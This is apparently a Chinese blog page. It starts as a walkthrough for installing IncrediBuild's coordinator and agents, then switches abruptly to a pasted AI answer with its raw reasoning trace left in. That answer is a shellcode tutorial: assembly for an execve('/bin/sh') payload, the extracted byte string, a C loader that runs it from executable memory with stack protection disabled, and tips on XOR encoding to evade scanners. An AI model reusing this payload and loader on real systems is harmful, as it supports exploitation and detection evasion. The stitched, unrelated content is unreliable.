Xoreax IncrediBuild 安装使用

IncrediBuild是一种分布式编译技术,通过利用局域网内多台计算机的空闲CPU资源来加速C/C++项目的编译过程。系统由服务端(Coordinator)和客户端(Agent)组成,服务端负责任务分配,客户端执行编译任务。

转自:http://zhouruijun163.blog.163.com/blog/static/107715620119219580479/

Xoreax IncrediBuild是分布式编译(多线程处理)技术,我们也称之为联合编译.如果局域网内存在多台电脑安装了这个,在编译C/C++时,它会使用空闲的CPU一起编译,大大缩短了编译的时间,对于大工程来说,是一件非常爽的事情.
IncrediBuild分为服务端(Coordinator)和客户端(Agent).简单的理解是服务端是协调任务的分配,客户端把分到手的任务编译后再返还回去.注意的是,服务端只负责分配工作,即负责客户端之间P2P的操作,如果二个客户端建立好链接后,此时再与服务端断开也不会影响他们之间的编译了.
1) 服务端(Coordinator)的安装:
运行IncrediBuild安装程序,选择Install IncrediBuild,并点Next下一步.同意那什么License Agreement继续下一步.来到安装组件选择(Component Selection).这里做为服务端我们要钩先上IncrediBuild Coordinator.这里是一个复选框,一般来说服务端也可以参与编译工作,如果不想让服务端参与编译工作的话,就把上面的IncrediBuild Agent前的钩点掉就可以


继续下一步,选择安装路径,和使用的一些端口号.参与编译的CPU数(这个只有钩选了Agent后才会有)等,这些使用默认的就可以了.之后安装完成.IncrediBuild的服务端就安装好了.

2) 客户端(Agent)的安装:
在其它的电脑上,运行IncrediBuild的安装程序,运行到安装组件选择(Component Selection),只钩选IncrediBuild Agnet并下一步


选择安装路径,并下一步.在这要填入服务端的IP地址和端口号.


填好之后下一步,它会与服务器进行验证一下.然后设置一下编译通讯的端口之类的.这与网内安装的其它的一至就行了,一般情况都使用默认.然后选择参与编译的CPU数.最后安装就行了.

到这步,基本上服务器与客户端都安装完成.在Coordinator Monitor中可以看到各成员的状态.


打开VS你将会发现菜单栏上多出了一项IncrediBuild的选项.这就是那个所谓的联合编译了.


找个工程试一下就知道了.


<think>我们正在讨论shellcode编程。用户要求一个关于如何使用shellcode的示例教程。根据引用,我们可以提供一些shellcode编写和使用的示例。首先,我们需要明确shellcode是什么:shellcode是一段机器码,通常用于利用软件漏洞,执行特定的操作(如获取系统shell)。编写shellcode通常使用汇编语言,但也可以使用C语言(需要特别注意限制)。根据引用[2],我们可以以Linuxx86系统为例,编写一个简单的execve("/bin/sh")的shellcode。步骤包括:1.确定功能实现方式:使用execve系统调用来执行/bin/sh。2.编写汇编代码。3.提取机器码(即shellcode)。此外,引用[5]提到可以使用C编写shellcode,但有一些注意事项(如避免使用标准库、全局变量等)。下面,我们将分别展示用汇编和C编写shellcode的示例。注意:在实际使用中,我们需要将shellcode注入到目标进程中执行。这里我们提供一个简单的加载器示例(在用户空间运行shellcode)。步骤:1.编写shellcode(汇编或C)。2.将shellcode编译为机器码。3.编写一个加载器,将shellcode加载到内存中并执行。由于用户要求示例教程,我们将分别给出:示例1:用汇编编写shellcode(Linuxx86)示例2:用C编写shellcode(注意限制)示例3:编写一个简单的shellcode加载器(C语言)注意:以下示例仅供学习使用,请确保在合法环境下测试。示例1:汇编编写shellcode(Linuxx86)汇编代码(execve_bin_sh.s):```assemblysection.textglobal_start_start:;execve("/bin/sh",NULL,NULL)xoreax,eax;清空eaxmoval,11;execve的系统调用号是11(eax=11)xorecx,ecx;ecx=0(argv)xoredx,edx;edx=0(envp);构建字符串"/bin/sh"pusheax;字符串结尾的NULLpush0x68732f2f;"//sh"push0x6e69622f;"/bin"movebx,esp;ebx指向字符串的地址int0x80;触发系统调用```编译并提取shellcode:nasm-felf32execve_bin_sh.s-oexecve_bin_sh.old-melf_i386execve_bin_sh.o-oexecve_bin_shobjdump-dexecve_bin_sh从objdump的输出中提取机器码(注意避免空字符,因为空字符在字符串中会被截断)。示例2:用C编写shellcode(Linuxx86)根据引用[5],我们需要注意:-使用纯C,避免标准库-关闭编译器优化-避免全局变量和静态变量-使用字符串数组以下是一个示例(shellcode.c):```cvoid__attribute__((naked))entry(){//内联汇编的方式调用execveasmvolatile("mov$11,%%eax\n"//execve系统调用号"mov$0,%%ecx\n"//argv=NULL"mov$0,%%edx\n"//envp=NULL//将字符串地址放入ebx"callnext\n"//使用相对跳转获取字符串地址"next:\n""pop%%ebx\n"//当前指令地址(即字符串地址)弹出到ebx"add$0x8,%%ebx\n"//调整ebx指向字符串(跳过call和字符串前的指令)"int$0x80\n"//系统调用//字符串部分".string\"/bin/sh\"\n");}```但是,通常我们更希望用纯C,但这里实际上还是嵌入了汇编。另一种方法是完全用C写,但需要避免使用库函数,并且要确保生成的代码是位置无关的。然而,对于execve这种系统调用,C语言中可以使用syscall函数,但注意syscall是库函数,所以我们可以使用内联汇编或者直接使用系统调用号。由于引用[5]强调不能使用全局变量,我们可以这样写(但实际执行系统调用还是需要汇编):所以,更常见的做法是:用汇编编写,或者用C编写但嵌入汇编。示例3:shellcode加载器加载器的作用是将shellcode放入内存并跳转执行。在Linux下,我们可以使用以下C代码(loader.c):```c#include<stdio.h>#include<sys/mman.h>#include<unistd.h>#include<string.h>intmain(){//示例shellcode(这里用示例1的机器码,实际使用时替换)charshellcode[]="\x31\xc0"//xoreax,eax"\xb0\x0b"//moval,11"\x31\xc9"//xorecx,ecx"\x31\xd2"//xoredx,edx"\x50"//pusheax"\x68\x2f\x2f\x73\x68"//push0x68732f2f"\x68\x2f\x62\x69\x6e"//push0x6e69622f"\x89\xe3"//movebx,esp"\xcd\x80";//int0x80//分配可执行内存void*mem=mmap(NULL,sizeof(shellcode),PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);if(mem==MAP_FAILED){perror("mmap");return1;}//复制shellcode到可执行内存memcpy(mem,shellcode,sizeof(shellcode));//将函数指针指向分配的内存并执行void(*func)()=(void(*)())mem;func();return0;}```注意:上述加载器在Linux下编译运行(32位环境),如果是64位系统,需要编译为32位程序(使用-m32)或者使用64位shellcode。以上是一个简单的教程。接下来,根据要求,生成相关问题。</think>### Shellcode编程教程 #### 什么是Shellcode? Shellcode是机器码形式的可执行指令序列,通常用于漏洞利用、渗透测试或系统级编程。它直接以二进制形式运行,无需编译器介入,可注入到目标进程中执行特定操作(如获取系统权限)[^2]。 --- ### 示例1:Linux x86 Shellcode(汇编实现) ```assembly section .text global _start _start: ; execve("/bin/sh", NULL, NULL) xor eax, eax ; 清空寄存器 mov al, 11 ; syscall 11 = execve xor ecx, ecx ; argv = NULL xor edx, edx ; envp = NULL ; 构建"/bin/sh"字符串 push eax ; 字符串终止符 \0 push 0x68732f2f ; "//sh" (小端序) push 0x6e69622f ; "/bin" mov ebx, esp ; EBX = 字符串地址 int 0x80 ; 触发系统调用 ``` **提取机器码步骤**: 1. 编译:`nasm -f elf shellcode.asm` 2. 链接:`ld -m elf_i386 -o shellcode shellcode.o` 3. 提取:`objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''` 4. 得到Shellcode:`\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80` --- ### 示例2:C语言Shellcode加载器 ```c #include <sys/mman.h> #include <unistd.h> int main() { // 步骤1:定义Shellcode(示例为execve("/bin/sh")) unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; // 步骤2:分配可执行内存 void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // 步骤3:复制Shellcode到内存 memcpy(mem, shellcode, sizeof(shellcode)); // 步骤4:执行Shellcode void (*func)() = (void (*)())mem; func(); return 0; } ``` **编译运行**: ```bash gcc loader.c -o loader -z execstack # 禁用栈保护 ./loader # 启动/bin/sh ``` --- ### 关键注意事项 1. **避免空字节**:Shellcode中的`\x00`会被截断,需用替代指令(如`xor eax,eax`代替`mov eax,0`)[^2]。 2. **位置无关**:使用相对跳转(`call/pop`)获取数据地址,避免绝对地址[^5]。 3. **内存权限**:通过`mmap()`或`mprotect()`设置`PROT_EXEC`权限[^1]。 4. **防检测**:可使用编码(XOR加密)或节表存放技术规避安全扫描[^4]。 > ⚠️ **法律声明**:Shellcode技术仅限合法授权场景(如渗透测试、安全研究),滥用将承担法律责任[^3][^4]。 --- ### 进阶资源 1. Shellcode仓库:[https://github.com/clinicallyinane/shellcode_launcher/](https://github.com/clinicallyinane/shellcode_launcher/)[^3] 2. 编码工具:`msfvenom`(Metasploit框架) 3. 调试技巧:用`strace`跟踪系统调用,`gdb`检查寄存器状态
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值